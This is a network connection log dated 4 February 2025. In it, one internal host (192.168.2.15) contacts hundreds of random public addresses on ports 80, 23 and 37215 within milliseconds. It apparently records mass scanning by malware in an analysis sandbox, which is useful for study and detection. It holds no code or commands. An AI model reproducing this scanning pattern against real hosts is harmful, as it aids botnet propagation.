Feb 4, 2025 18:11:16.304984093 CET	10643	80	192.168.2.15	206.144.112.97
Feb 4, 2025 18:11:16.305006027 CET	10643	80	192.168.2.15	135.231.137.40
Feb 4, 2025 18:11:16.305018902 CET	10643	80	192.168.2.15	154.95.145.128
Feb 4, 2025 18:11:16.305022001 CET	10643	80	192.168.2.15	206.39.178.172
Feb 4, 2025 18:11:16.305027008 CET	10643	80	192.168.2.15	91.120.74.137
Feb 4, 2025 18:11:16.305027008 CET	10643	80	192.168.2.15	69.207.131.146
Feb 4, 2025 18:11:16.305041075 CET	10643	80	192.168.2.15	142.195.187.42
Feb 4, 2025 18:11:16.305043936 CET	10643	80	192.168.2.15	222.21.114.254
Feb 4, 2025 18:11:16.305043936 CET	10643	80	192.168.2.15	169.49.170.10
Feb 4, 2025 18:11:16.305056095 CET	10643	80	192.168.2.15	191.161.124.121
Feb 4, 2025 18:11:16.305057049 CET	10643	80	192.168.2.15	91.164.187.65
Feb 4, 2025 18:11:16.305057049 CET	10643	80	192.168.2.15	180.78.40.160
Feb 4, 2025 18:11:16.305058002 CET	10643	80	192.168.2.15	213.143.149.83
Feb 4, 2025 18:11:16.305058002 CET	10643	80	192.168.2.15	65.227.10.191
Feb 4, 2025 18:11:16.305063009 CET	10643	80	192.168.2.15	140.170.196.62
Feb 4, 2025 18:11:16.305067062 CET	10643	80	192.168.2.15	18.36.41.11
Feb 4, 2025 18:11:16.305068016 CET	10643	80	192.168.2.15	94.8.16.125
Feb 4, 2025 18:11:16.305068970 CET	10643	80	192.168.2.15	100.128.225.59
Feb 4, 2025 18:11:16.305099010 CET	10643	80	192.168.2.15	191.94.45.63
Feb 4, 2025 18:11:16.305099964 CET	10643	80	192.168.2.15	88.19.87.91
Feb 4, 2025 18:11:16.305099964 CET	10643	80	192.168.2.15	171.216.226.77
Feb 4, 2025 18:11:16.305102110 CET	10643	80	192.168.2.15	174.61.141.108
Feb 4, 2025 18:11:16.305102110 CET	10643	80	192.168.2.15	23.97.205.19
Feb 4, 2025 18:11:16.305102110 CET	10643	80	192.168.2.15	114.159.1.222
Feb 4, 2025 18:11:16.305102110 CET	10643	80	192.168.2.15	9.185.182.125
Feb 4, 2025 18:11:16.305102110 CET	10643	80	192.168.2.15	13.227.140.128
Feb 4, 2025 18:11:16.305116892 CET	10643	80	192.168.2.15	193.23.177.230
Feb 4, 2025 18:11:16.305145025 CET	10643	80	192.168.2.15	92.147.221.149
Feb 4, 2025 18:11:16.305145025 CET	10643	80	192.168.2.15	174.45.239.251
Feb 4, 2025 18:11:16.305145979 CET	10643	80	192.168.2.15	101.217.167.99
Feb 4, 2025 18:11:16.305146933 CET	10643	80	192.168.2.15	212.223.13.129
Feb 4, 2025 18:11:16.305145979 CET	10643	80	192.168.2.15	171.70.171.12
Feb 4, 2025 18:11:16.305146933 CET	10643	80	192.168.2.15	27.76.196.13
Feb 4, 2025 18:11:16.305146933 CET	10643	80	192.168.2.15	140.116.238.156
Feb 4, 2025 18:11:16.305150032 CET	10643	80	192.168.2.15	74.107.211.249
Feb 4, 2025 18:11:16.305150032 CET	10643	80	192.168.2.15	187.194.33.68
Feb 4, 2025 18:11:16.305150986 CET	10643	80	192.168.2.15	44.141.217.130
Feb 4, 2025 18:11:16.305150986 CET	10643	80	192.168.2.15	182.87.134.187
Feb 4, 2025 18:11:16.305155993 CET	10643	80	192.168.2.15	217.205.104.104
Feb 4, 2025 18:11:16.305170059 CET	10643	80	192.168.2.15	35.88.146.12
Feb 4, 2025 18:11:16.305170059 CET	10643	80	192.168.2.15	51.75.143.19
Feb 4, 2025 18:11:16.305170059 CET	10643	80	192.168.2.15	14.16.97.36
Feb 4, 2025 18:11:16.305171967 CET	10643	80	192.168.2.15	201.44.123.75
Feb 4, 2025 18:11:16.305171967 CET	10643	80	192.168.2.15	222.219.48.169
Feb 4, 2025 18:11:16.305171967 CET	10643	80	192.168.2.15	34.120.200.63
Feb 4, 2025 18:11:16.305171967 CET	10643	80	192.168.2.15	200.188.186.123
Feb 4, 2025 18:11:16.305174112 CET	10643	80	192.168.2.15	184.91.170.183
Feb 4, 2025 18:11:16.305171967 CET	10643	80	192.168.2.15	187.166.16.231
Feb 4, 2025 18:11:16.305174112 CET	10643	80	192.168.2.15	141.185.65.136
Feb 4, 2025 18:11:16.305174112 CET	10643	80	192.168.2.15	190.238.133.38
Feb 4, 2025 18:11:16.305186987 CET	10643	80	192.168.2.15	50.131.192.148
Feb 4, 2025 18:11:16.305187941 CET	10643	80	192.168.2.15	168.26.24.87
Feb 4, 2025 18:11:16.305187941 CET	10643	80	192.168.2.15	149.218.23.194
Feb 4, 2025 18:11:16.305188894 CET	10643	80	192.168.2.15	207.177.192.28
Feb 4, 2025 18:11:16.305188894 CET	10643	80	192.168.2.15	199.16.244.126
Feb 4, 2025 18:11:16.305190086 CET	10643	80	192.168.2.15	223.196.251.223
Feb 4, 2025 18:11:16.305190086 CET	10643	80	192.168.2.15	108.59.244.217
Feb 4, 2025 18:11:16.305191994 CET	10643	80	192.168.2.15	53.155.54.250
Feb 4, 2025 18:11:16.305191994 CET	10643	80	192.168.2.15	210.95.201.59
Feb 4, 2025 18:11:16.305191994 CET	10643	80	192.168.2.15	181.178.217.25
Feb 4, 2025 18:11:16.305191994 CET	10643	80	192.168.2.15	49.171.13.95
Feb 4, 2025 18:11:16.305192947 CET	10643	80	192.168.2.15	17.204.194.189
Feb 4, 2025 18:11:16.305192947 CET	10643	80	192.168.2.15	193.113.46.143
Feb 4, 2025 18:11:16.305192947 CET	10643	80	192.168.2.15	83.229.61.22
Feb 4, 2025 18:11:16.305191994 CET	10643	80	192.168.2.15	213.239.5.61
Feb 4, 2025 18:11:16.305198908 CET	10643	80	192.168.2.15	189.134.239.219
Feb 4, 2025 18:11:16.305198908 CET	10643	80	192.168.2.15	99.206.248.56
Feb 4, 2025 18:11:16.305198908 CET	10643	80	192.168.2.15	222.17.101.43
Feb 4, 2025 18:11:16.305201054 CET	10643	80	192.168.2.15	148.236.13.243
Feb 4, 2025 18:11:16.305198908 CET	10643	80	192.168.2.15	209.68.181.42
Feb 4, 2025 18:11:16.305198908 CET	10643	80	192.168.2.15	78.234.148.75
Feb 4, 2025 18:11:16.305202007 CET	10643	80	192.168.2.15	42.17.0.55
Feb 4, 2025 18:11:16.305207968 CET	10643	80	192.168.2.15	38.18.73.109
Feb 4, 2025 18:11:16.305207968 CET	10643	80	192.168.2.15	179.231.108.126
Feb 4, 2025 18:11:16.305213928 CET	10643	80	192.168.2.15	47.45.79.253
Feb 4, 2025 18:11:16.305213928 CET	10643	80	192.168.2.15	75.140.112.173
Feb 4, 2025 18:11:16.305213928 CET	10643	80	192.168.2.15	113.168.99.50
Feb 4, 2025 18:11:16.305213928 CET	10643	80	192.168.2.15	133.9.70.120
Feb 4, 2025 18:11:16.305213928 CET	10643	80	192.168.2.15	155.209.249.129
Feb 4, 2025 18:11:16.305216074 CET	10643	80	192.168.2.15	43.27.85.18
Feb 4, 2025 18:11:16.305213928 CET	10643	80	192.168.2.15	110.24.39.102
Feb 4, 2025 18:11:16.305213928 CET	10643	80	192.168.2.15	18.147.74.96
Feb 4, 2025 18:11:16.305213928 CET	10643	80	192.168.2.15	131.58.233.48
Feb 4, 2025 18:11:16.305221081 CET	10643	80	192.168.2.15	62.201.166.172
Feb 4, 2025 18:11:16.305223942 CET	10643	80	192.168.2.15	32.172.255.6
Feb 4, 2025 18:11:16.305222034 CET	10643	80	192.168.2.15	50.138.165.62
Feb 4, 2025 18:11:16.305222034 CET	10643	80	192.168.2.15	65.227.170.50
Feb 4, 2025 18:11:16.305222034 CET	10643	80	192.168.2.15	118.247.164.90
Feb 4, 2025 18:11:16.305228949 CET	10643	80	192.168.2.15	108.139.138.81
Feb 4, 2025 18:11:16.305228949 CET	10643	80	192.168.2.15	141.183.203.244
Feb 4, 2025 18:11:16.305228949 CET	10643	80	192.168.2.15	177.219.2.127
Feb 4, 2025 18:11:16.305236101 CET	10643	80	192.168.2.15	218.134.250.176
Feb 4, 2025 18:11:16.305243969 CET	10643	80	192.168.2.15	218.106.194.131
Feb 4, 2025 18:11:16.305247068 CET	10643	80	192.168.2.15	154.198.93.98
Feb 4, 2025 18:11:16.305247068 CET	10643	80	192.168.2.15	60.248.92.13
Feb 4, 2025 18:11:16.305247068 CET	10643	80	192.168.2.15	112.208.25.26
Feb 4, 2025 18:11:16.305247068 CET	10643	80	192.168.2.15	74.24.50.93
Feb 4, 2025 18:11:16.305252075 CET	10643	80	192.168.2.15	106.242.163.204
Feb 4, 2025 18:11:16.305268049 CET	10643	80	192.168.2.15	138.71.206.215
Feb 4, 2025 18:11:16.305269003 CET	10643	80	192.168.2.15	174.244.73.110
Feb 4, 2025 18:11:16.305270910 CET	10643	80	192.168.2.15	200.38.149.78
Feb 4, 2025 18:11:16.305274010 CET	10643	80	192.168.2.15	155.246.142.235
Feb 4, 2025 18:11:16.305274010 CET	10643	80	192.168.2.15	121.51.68.145
Feb 4, 2025 18:11:16.305275917 CET	10643	80	192.168.2.15	130.95.237.187
Feb 4, 2025 18:11:16.305275917 CET	10643	80	192.168.2.15	202.210.80.61
Feb 4, 2025 18:11:16.305277109 CET	10643	80	192.168.2.15	186.201.40.219
Feb 4, 2025 18:11:16.305279016 CET	10643	80	192.168.2.15	94.167.57.142
Feb 4, 2025 18:11:16.305284977 CET	10643	80	192.168.2.15	98.206.226.3
Feb 4, 2025 18:11:16.305296898 CET	10643	80	192.168.2.15	198.210.113.242
Feb 4, 2025 18:11:16.305296898 CET	10643	80	192.168.2.15	138.19.78.227
Feb 4, 2025 18:11:16.305303097 CET	10643	80	192.168.2.15	76.97.19.33
Feb 4, 2025 18:11:16.305303097 CET	10643	80	192.168.2.15	24.222.13.242
Feb 4, 2025 18:11:16.305304050 CET	10643	80	192.168.2.15	91.55.239.83
Feb 4, 2025 18:11:16.305304050 CET	10643	80	192.168.2.15	115.73.156.52
Feb 4, 2025 18:11:16.305310011 CET	10643	80	192.168.2.15	172.250.55.34
Feb 4, 2025 18:11:16.305311918 CET	10643	80	192.168.2.15	179.249.206.210
Feb 4, 2025 18:11:16.305311918 CET	10643	80	192.168.2.15	113.56.49.182
Feb 4, 2025 18:11:16.305313110 CET	10643	80	192.168.2.15	145.173.155.77
Feb 4, 2025 18:11:16.305315018 CET	10643	80	192.168.2.15	171.228.6.150
Feb 4, 2025 18:11:16.305319071 CET	10643	80	192.168.2.15	92.235.106.137
Feb 4, 2025 18:11:16.305320024 CET	10643	80	192.168.2.15	1.31.139.143
Feb 4, 2025 18:11:16.305345058 CET	10643	80	192.168.2.15	217.28.241.196
Feb 4, 2025 18:11:16.305345058 CET	10643	80	192.168.2.15	63.14.249.58
Feb 4, 2025 18:11:16.305345058 CET	10643	80	192.168.2.15	220.29.180.82
Feb 4, 2025 18:11:16.305345058 CET	10643	80	192.168.2.15	173.16.76.113
Feb 4, 2025 18:11:16.305345058 CET	10643	80	192.168.2.15	107.167.116.145
Feb 4, 2025 18:11:16.305350065 CET	10643	80	192.168.2.15	19.3.124.149
Feb 4, 2025 18:11:16.305350065 CET	10643	80	192.168.2.15	85.223.23.74
Feb 4, 2025 18:11:16.305350065 CET	10643	80	192.168.2.15	149.100.66.192
Feb 4, 2025 18:11:16.305350065 CET	10643	80	192.168.2.15	148.244.187.176
Feb 4, 2025 18:11:16.305350065 CET	10643	80	192.168.2.15	100.194.19.110
Feb 4, 2025 18:11:16.305351973 CET	10643	80	192.168.2.15	82.220.203.206
Feb 4, 2025 18:11:16.305356026 CET	10643	80	192.168.2.15	68.238.135.217
Feb 4, 2025 18:11:16.305356979 CET	10643	80	192.168.2.15	184.137.73.106
Feb 4, 2025 18:11:16.305357933 CET	10643	80	192.168.2.15	201.14.168.178
Feb 4, 2025 18:11:16.305358887 CET	10643	80	192.168.2.15	153.116.255.116
Feb 4, 2025 18:11:16.305358887 CET	10643	80	192.168.2.15	79.156.16.8
Feb 4, 2025 18:11:16.305358887 CET	10643	80	192.168.2.15	95.76.187.62
Feb 4, 2025 18:11:16.305361032 CET	10643	80	192.168.2.15	188.64.39.22
Feb 4, 2025 18:11:16.305361986 CET	10643	80	192.168.2.15	161.2.7.62
Feb 4, 2025 18:11:16.305366993 CET	10643	80	192.168.2.15	64.92.42.66
Feb 4, 2025 18:11:16.305373907 CET	10643	80	192.168.2.15	64.232.246.92
Feb 4, 2025 18:11:16.305375099 CET	10643	80	192.168.2.15	199.121.100.136
Feb 4, 2025 18:11:16.305385113 CET	10643	80	192.168.2.15	128.234.159.106
Feb 4, 2025 18:11:16.305386066 CET	10643	80	192.168.2.15	151.215.20.37
Feb 4, 2025 18:11:16.305387974 CET	10643	80	192.168.2.15	50.157.70.2
Feb 4, 2025 18:11:16.305392027 CET	10643	80	192.168.2.15	39.0.194.223
Feb 4, 2025 18:11:16.305392027 CET	10643	80	192.168.2.15	133.119.61.102
Feb 4, 2025 18:11:16.305393934 CET	10643	80	192.168.2.15	99.47.80.27
Feb 4, 2025 18:11:16.305408955 CET	10643	80	192.168.2.15	199.112.133.179
Feb 4, 2025 18:11:16.305408955 CET	10643	80	192.168.2.15	213.90.103.177
Feb 4, 2025 18:11:16.305411100 CET	10643	80	192.168.2.15	77.43.116.148
Feb 4, 2025 18:11:16.305413008 CET	10643	80	192.168.2.15	23.5.244.163
Feb 4, 2025 18:11:16.305413008 CET	10643	80	192.168.2.15	71.242.217.243
Feb 4, 2025 18:11:16.305413008 CET	10643	80	192.168.2.15	44.63.203.53
Feb 4, 2025 18:11:16.305428028 CET	10643	80	192.168.2.15	93.62.174.108
Feb 4, 2025 18:11:16.305428028 CET	10643	80	192.168.2.15	60.60.96.181
Feb 4, 2025 18:11:16.305428028 CET	10643	80	192.168.2.15	186.136.204.213
Feb 4, 2025 18:11:16.305432081 CET	10643	80	192.168.2.15	102.220.81.74
Feb 4, 2025 18:11:16.305432081 CET	10643	80	192.168.2.15	98.161.79.141
Feb 4, 2025 18:11:16.305433035 CET	10643	80	192.168.2.15	210.64.170.53
Feb 4, 2025 18:11:16.305433989 CET	10643	80	192.168.2.15	189.146.253.91
Feb 4, 2025 18:11:16.305437088 CET	10643	80	192.168.2.15	200.153.93.203
Feb 4, 2025 18:11:16.305437088 CET	10643	80	192.168.2.15	62.50.5.30
Feb 4, 2025 18:11:16.305437088 CET	10643	80	192.168.2.15	172.97.213.239
Feb 4, 2025 18:11:16.305450916 CET	10643	80	192.168.2.15	4.246.162.149
Feb 4, 2025 18:11:16.305468082 CET	10643	80	192.168.2.15	182.22.21.196
Feb 4, 2025 18:11:16.305474997 CET	10643	80	192.168.2.15	191.99.133.236
Feb 4, 2025 18:11:16.305474997 CET	10643	80	192.168.2.15	72.92.170.106
Feb 4, 2025 18:11:16.305474997 CET	10643	80	192.168.2.15	46.57.220.93
Feb 4, 2025 18:11:16.305474997 CET	10643	80	192.168.2.15	174.70.205.159
Feb 4, 2025 18:11:16.305474997 CET	10643	80	192.168.2.15	92.107.123.135
Feb 4, 2025 18:11:16.305474997 CET	10643	80	192.168.2.15	2.22.190.252
Feb 4, 2025 18:11:16.305480957 CET	10643	80	192.168.2.15	74.156.74.50
Feb 4, 2025 18:11:16.305480957 CET	10643	80	192.168.2.15	88.55.236.148
Feb 4, 2025 18:11:16.305480957 CET	10643	80	192.168.2.15	153.219.21.252
Feb 4, 2025 18:11:16.305483103 CET	10643	80	192.168.2.15	40.40.203.118
Feb 4, 2025 18:11:16.305485010 CET	10643	80	192.168.2.15	37.220.26.37
Feb 4, 2025 18:11:16.305485010 CET	10643	80	192.168.2.15	101.92.49.51
Feb 4, 2025 18:11:16.305485010 CET	10643	80	192.168.2.15	14.248.238.95
Feb 4, 2025 18:11:16.305485010 CET	10643	80	192.168.2.15	92.160.90.20
Feb 4, 2025 18:11:16.305488110 CET	10643	80	192.168.2.15	172.128.135.96
Feb 4, 2025 18:11:16.305491924 CET	10643	80	192.168.2.15	169.218.180.5
Feb 4, 2025 18:11:16.305491924 CET	10643	80	192.168.2.15	20.42.41.16
Feb 4, 2025 18:11:16.305491924 CET	10643	80	192.168.2.15	72.120.171.225
Feb 4, 2025 18:11:16.305495977 CET	10643	80	192.168.2.15	183.196.230.236
Feb 4, 2025 18:11:16.305495977 CET	10643	80	192.168.2.15	156.245.67.115
Feb 4, 2025 18:11:16.305499077 CET	10643	80	192.168.2.15	145.191.166.161
Feb 4, 2025 18:11:16.305500984 CET	10643	80	192.168.2.15	93.229.183.160
Feb 4, 2025 18:11:16.305502892 CET	10643	80	192.168.2.15	131.119.5.119
Feb 4, 2025 18:11:16.305515051 CET	10643	80	192.168.2.15	153.19.11.68
Feb 4, 2025 18:11:16.305515051 CET	10643	80	192.168.2.15	112.246.160.240
Feb 4, 2025 18:11:16.305515051 CET	10643	80	192.168.2.15	179.50.161.34
Feb 4, 2025 18:11:16.305517912 CET	10643	80	192.168.2.15	154.122.237.4
Feb 4, 2025 18:11:16.305517912 CET	10643	80	192.168.2.15	164.164.74.227
Feb 4, 2025 18:11:16.305522919 CET	10643	80	192.168.2.15	106.200.90.232
Feb 4, 2025 18:11:16.305531979 CET	10643	80	192.168.2.15	130.229.113.127
Feb 4, 2025 18:11:16.305538893 CET	10643	80	192.168.2.15	138.165.46.187
Feb 4, 2025 18:11:16.305538893 CET	10643	80	192.168.2.15	183.255.82.139
Feb 4, 2025 18:11:16.305551052 CET	10643	80	192.168.2.15	219.197.99.56
Feb 4, 2025 18:11:16.305551052 CET	10643	80	192.168.2.15	78.19.53.151
Feb 4, 2025 18:11:16.305557013 CET	10643	80	192.168.2.15	174.242.170.235
Feb 4, 2025 18:11:16.305557013 CET	10643	80	192.168.2.15	89.40.206.62
Feb 4, 2025 18:11:16.305557966 CET	10643	80	192.168.2.15	221.34.167.227
Feb 4, 2025 18:11:16.305557966 CET	10643	80	192.168.2.15	13.163.203.116
Feb 4, 2025 18:11:16.305558920 CET	10643	80	192.168.2.15	129.166.204.14
Feb 4, 2025 18:11:16.305567980 CET	10643	80	192.168.2.15	185.160.45.245
Feb 4, 2025 18:11:16.305572033 CET	10643	80	192.168.2.15	70.224.101.38
Feb 4, 2025 18:11:16.305572033 CET	10643	80	192.168.2.15	163.108.146.90
Feb 4, 2025 18:11:16.305572033 CET	10643	80	192.168.2.15	135.227.141.200
Feb 4, 2025 18:11:16.305583000 CET	10643	80	192.168.2.15	197.215.192.57
Feb 4, 2025 18:11:16.305583000 CET	10643	80	192.168.2.15	171.69.228.192
Feb 4, 2025 18:11:16.305587053 CET	10643	80	192.168.2.15	81.250.233.218
Feb 4, 2025 18:11:16.305597067 CET	10643	80	192.168.2.15	102.145.255.207
Feb 4, 2025 18:11:16.305597067 CET	10643	80	192.168.2.15	156.206.126.64
Feb 4, 2025 18:11:16.305597067 CET	10643	80	192.168.2.15	202.205.97.252
Feb 4, 2025 18:11:16.305598974 CET	10643	80	192.168.2.15	160.214.23.167
Feb 4, 2025 18:11:16.305602074 CET	10643	80	192.168.2.15	111.114.164.180
Feb 4, 2025 18:11:16.305607080 CET	10643	80	192.168.2.15	217.25.56.208
Feb 4, 2025 18:11:16.305608034 CET	10643	80	192.168.2.15	70.103.133.227
Feb 4, 2025 18:11:16.305608988 CET	10643	80	192.168.2.15	76.17.1.33
Feb 4, 2025 18:11:16.305610895 CET	10643	80	192.168.2.15	190.128.128.170
Feb 4, 2025 18:11:16.305610895 CET	10643	80	192.168.2.15	50.80.83.70
Feb 4, 2025 18:11:16.305610895 CET	10643	80	192.168.2.15	47.136.167.221
Feb 4, 2025 18:11:16.305610895 CET	10643	80	192.168.2.15	222.82.183.194
Feb 4, 2025 18:11:16.305639982 CET	10643	80	192.168.2.15	63.83.41.116
Feb 4, 2025 18:11:16.305640936 CET	10643	80	192.168.2.15	95.245.189.110
Feb 4, 2025 18:11:16.305640936 CET	10643	80	192.168.2.15	142.41.246.183
Feb 4, 2025 18:11:16.305641890 CET	10643	80	192.168.2.15	52.26.16.192
Feb 4, 2025 18:11:16.305649996 CET	10643	80	192.168.2.15	171.112.245.103
Feb 4, 2025 18:11:16.305651903 CET	10643	80	192.168.2.15	105.90.29.69
Feb 4, 2025 18:11:16.305663109 CET	10643	80	192.168.2.15	177.131.233.19
Feb 4, 2025 18:11:16.305669069 CET	10643	80	192.168.2.15	14.122.142.248
Feb 4, 2025 18:11:16.305669069 CET	10643	80	192.168.2.15	221.128.216.214
Feb 4, 2025 18:11:16.305675983 CET	10643	80	192.168.2.15	222.84.44.164
Feb 4, 2025 18:11:16.305675983 CET	10643	80	192.168.2.15	217.138.102.204
Feb 4, 2025 18:11:16.305676937 CET	10643	80	192.168.2.15	221.108.130.209
Feb 4, 2025 18:11:16.305677891 CET	10643	80	192.168.2.15	106.26.44.127
Feb 4, 2025 18:11:16.305677891 CET	10643	80	192.168.2.15	31.39.152.59
Feb 4, 2025 18:11:16.305684090 CET	10643	80	192.168.2.15	195.33.143.253
Feb 4, 2025 18:11:16.305694103 CET	10643	80	192.168.2.15	176.5.36.191
Feb 4, 2025 18:11:16.305695057 CET	10643	80	192.168.2.15	12.38.79.18
Feb 4, 2025 18:11:16.305695057 CET	10643	80	192.168.2.15	132.6.3.11
Feb 4, 2025 18:11:16.305699110 CET	10643	80	192.168.2.15	71.210.72.167
Feb 4, 2025 18:11:16.305720091 CET	10643	80	192.168.2.15	80.220.96.121
Feb 4, 2025 18:11:16.305720091 CET	10643	80	192.168.2.15	130.250.70.5
Feb 4, 2025 18:11:16.305721045 CET	10643	80	192.168.2.15	76.41.212.128
Feb 4, 2025 18:11:16.305721998 CET	10643	80	192.168.2.15	160.245.254.45
Feb 4, 2025 18:11:16.305722952 CET	10643	80	192.168.2.15	18.24.136.148
Feb 4, 2025 18:11:16.305725098 CET	10643	80	192.168.2.15	195.10.84.68
Feb 4, 2025 18:11:16.305730104 CET	10643	80	192.168.2.15	75.215.159.254
Feb 4, 2025 18:11:16.305732965 CET	10643	80	192.168.2.15	131.169.34.33
Feb 4, 2025 18:11:16.305738926 CET	10643	80	192.168.2.15	67.250.93.22
Feb 4, 2025 18:11:16.305738926 CET	10643	80	192.168.2.15	152.247.75.246
Feb 4, 2025 18:11:16.305741072 CET	10643	80	192.168.2.15	72.220.113.126
Feb 4, 2025 18:11:16.305756092 CET	10643	80	192.168.2.15	100.37.0.170
Feb 4, 2025 18:11:16.305758953 CET	10643	80	192.168.2.15	193.214.255.101
Feb 4, 2025 18:11:16.305761099 CET	10643	80	192.168.2.15	23.230.32.135
Feb 4, 2025 18:11:16.305764914 CET	10643	80	192.168.2.15	135.117.157.66
Feb 4, 2025 18:11:16.305764914 CET	10643	80	192.168.2.15	117.164.94.159
Feb 4, 2025 18:11:16.305766106 CET	10643	80	192.168.2.15	176.230.156.59
Feb 4, 2025 18:11:16.305768013 CET	10643	80	192.168.2.15	71.172.56.188
Feb 4, 2025 18:11:16.305768013 CET	10643	80	192.168.2.15	136.63.120.228
Feb 4, 2025 18:11:16.305771112 CET	10643	80	192.168.2.15	25.234.36.92
Feb 4, 2025 18:11:16.305777073 CET	10643	80	192.168.2.15	84.104.58.83
Feb 4, 2025 18:11:16.305779934 CET	10643	80	192.168.2.15	116.11.245.23
Feb 4, 2025 18:11:16.305780888 CET	10643	80	192.168.2.15	142.200.111.149
Feb 4, 2025 18:11:16.305782080 CET	10643	80	192.168.2.15	89.131.167.72
Feb 4, 2025 18:11:16.305783987 CET	10643	80	192.168.2.15	91.207.159.24
Feb 4, 2025 18:11:16.305802107 CET	10643	80	192.168.2.15	147.187.57.51
Feb 4, 2025 18:11:16.305803061 CET	10643	80	192.168.2.15	144.190.112.202
Feb 4, 2025 18:11:16.305804968 CET	10643	80	192.168.2.15	220.12.52.199
Feb 4, 2025 18:11:16.305807114 CET	10643	80	192.168.2.15	172.164.249.130
Feb 4, 2025 18:11:16.305807114 CET	10643	80	192.168.2.15	93.226.223.47
Feb 4, 2025 18:11:16.309576035 CET	80	10643	140.218.15.131	192.168.2.15
Feb 4, 2025 18:11:16.309628963 CET	10643	80	192.168.2.15	140.218.15.131
Feb 4, 2025 18:11:16.316611052 CET	55456	80	192.168.2.15	177.82.8.49
Feb 4, 2025 18:11:16.317270041 CET	57216	23	192.168.2.15	140.167.23.67
Feb 4, 2025 18:11:16.320692062 CET	49556	80	192.168.2.15	32.109.104.6
Feb 4, 2025 18:11:16.321335077 CET	37142	23	192.168.2.15	200.146.125.49
Feb 4, 2025 18:11:16.321382999 CET	80	55456	177.82.8.49	192.168.2.15
Feb 4, 2025 18:11:16.321440935 CET	55456	80	192.168.2.15	177.82.8.49
Feb 4, 2025 18:11:16.322523117 CET	23	57216	140.167.23.67	192.168.2.15
Feb 4, 2025 18:11:16.322592974 CET	57216	23	192.168.2.15	140.167.23.67
Feb 4, 2025 18:11:16.326796055 CET	10640	37215	192.168.2.15	156.67.184.253
Feb 4, 2025 18:11:16.326800108 CET	10640	37215	192.168.2.15	156.199.220.66
Feb 4, 2025 18:11:16.326800108 CET	10640	37215	192.168.2.15	197.91.54.114
Feb 4, 2025 18:11:16.326805115 CET	10640	37215	192.168.2.15	197.142.203.98
Feb 4, 2025 18:11:16.326809883 CET	10640	37215	192.168.2.15	156.180.119.224
Feb 4, 2025 18:11:16.326811075 CET	10640	37215	192.168.2.15	197.156.40.0
Feb 4, 2025 18:11:16.326813936 CET	10640	37215	192.168.2.15	41.97.101.22
Feb 4, 2025 18:11:16.326811075 CET	10640	37215	192.168.2.15	197.101.217.173
Feb 4, 2025 18:11:16.326811075 CET	10640	37215	192.168.2.15	41.39.198.139
Feb 4, 2025 18:11:16.326816082 CET	10640	37215	192.168.2.15	156.206.190.52
Feb 4, 2025 18:11:16.326828003 CET	10640	37215	192.168.2.15	197.174.160.90
Feb 4, 2025 18:11:16.326832056 CET	10640	37215	192.168.2.15	41.145.171.234
Feb 4, 2025 18:11:16.326833010 CET	10640	37215	192.168.2.15	197.72.239.116
Feb 4, 2025 18:11:16.326833010 CET	10640	37215	192.168.2.15	41.154.244.124
Feb 4, 2025 18:11:16.326836109 CET	10640	37215	192.168.2.15	41.115.31.84
Feb 4, 2025 18:11:16.326836109 CET	10640	37215	192.168.2.15	41.36.79.73
Feb 4, 2025 18:11:16.326842070 CET	10640	37215	192.168.2.15	156.78.183.99
Feb 4, 2025 18:11:16.326843023 CET	10640	37215	192.168.2.15	41.102.30.191
Feb 4, 2025 18:11:16.326847076 CET	10640	37215	192.168.2.15	156.221.126.216
Feb 4, 2025 18:11:16.326860905 CET	10640	37215	192.168.2.15	197.211.70.50
Feb 4, 2025 18:11:16.326863050 CET	10640	37215	192.168.2.15	197.62.214.204
Feb 4, 2025 18:11:16.326863050 CET	10640	37215	192.168.2.15	156.137.249.75
Feb 4, 2025 18:11:16.326869011 CET	10640	37215	192.168.2.15	197.167.233.203
Feb 4, 2025 18:11:16.326870918 CET	10640	37215	192.168.2.15	41.136.209.70
Feb 4, 2025 18:11:16.326874971 CET	10640	37215	192.168.2.15	41.132.89.117
Feb 4, 2025 18:11:16.326901913 CET	10640	37215	192.168.2.15	156.168.223.182
Feb 4, 2025 18:11:16.326909065 CET	10640	37215	192.168.2.15	41.4.98.58
Feb 4, 2025 18:11:16.326909065 CET	10640	37215	192.168.2.15	156.23.214.217
Feb 4, 2025 18:11:16.326909065 CET	10640	37215	192.168.2.15	41.62.234.46
Feb 4, 2025 18:11:16.326909065 CET	10640	37215	192.168.2.15	197.95.128.150
Feb 4, 2025 18:11:16.326909065 CET	10640	37215	192.168.2.15	41.223.188.133
Feb 4, 2025 18:11:16.326911926 CET	10640	37215	192.168.2.15	197.47.155.53
Feb 4, 2025 18:11:16.326913118 CET	10640	37215	192.168.2.15	197.178.78.162
Feb 4, 2025 18:11:16.326917887 CET	10640	37215	192.168.2.15	156.43.72.243
Feb 4, 2025 18:11:16.326920986 CET	10640	37215	192.168.2.15	41.196.101.247
Feb 4, 2025 18:11:16.326931000 CET	10640	37215	192.168.2.15	197.167.212.240
Feb 4, 2025 18:11:16.326951027 CET	10640	37215	192.168.2.15	41.57.87.208
Feb 4, 2025 18:11:16.326952934 CET	10640	37215	192.168.2.15	156.155.68.194
Feb 4, 2025 18:11:16.326953888 CET	10640	37215	192.168.2.15	41.186.195.39
Feb 4, 2025 18:11:16.326953888 CET	10640	37215	192.168.2.15	41.148.210.50
Feb 4, 2025 18:11:16.326962948 CET	10640	37215	192.168.2.15	41.12.249.93
Feb 4, 2025 18:11:16.326967001 CET	10640	37215	192.168.2.15	156.1.120.19
Feb 4, 2025 18:11:16.326972008 CET	10640	37215	192.168.2.15	197.56.80.9
Feb 4, 2025 18:11:16.326972008 CET	10640	37215	192.168.2.15	41.172.38.7
Feb 4, 2025 18:11:16.326972008 CET	10640	37215	192.168.2.15	41.133.153.52
Feb 4, 2025 18:11:16.326972008 CET	10640	37215	192.168.2.15	41.28.57.36
Feb 4, 2025 18:11:16.326973915 CET	10640	37215	192.168.2.15	197.2.167.49
Feb 4, 2025 18:11:16.326980114 CET	10640	37215	192.168.2.15	156.180.179.49
Feb 4, 2025 18:11:16.326981068 CET	10640	37215	192.168.2.15	156.91.214.203
Feb 4, 2025 18:11:16.326980114 CET	10640	37215	192.168.2.15	197.128.200.20
Feb 4, 2025 18:11:16.326982021 CET	10640	37215	192.168.2.15	197.205.23.33
Feb 4, 2025 18:11:16.326982021 CET	10640	37215	192.168.2.15	41.48.3.35
Feb 4, 2025 18:11:16.326982021 CET	10640	37215	192.168.2.15	41.192.57.242
Feb 4, 2025 18:11:16.326983929 CET	10640	37215	192.168.2.15	41.147.92.110
Feb 4, 2025 18:11:16.326989889 CET	10640	37215	192.168.2.15	156.120.15.117
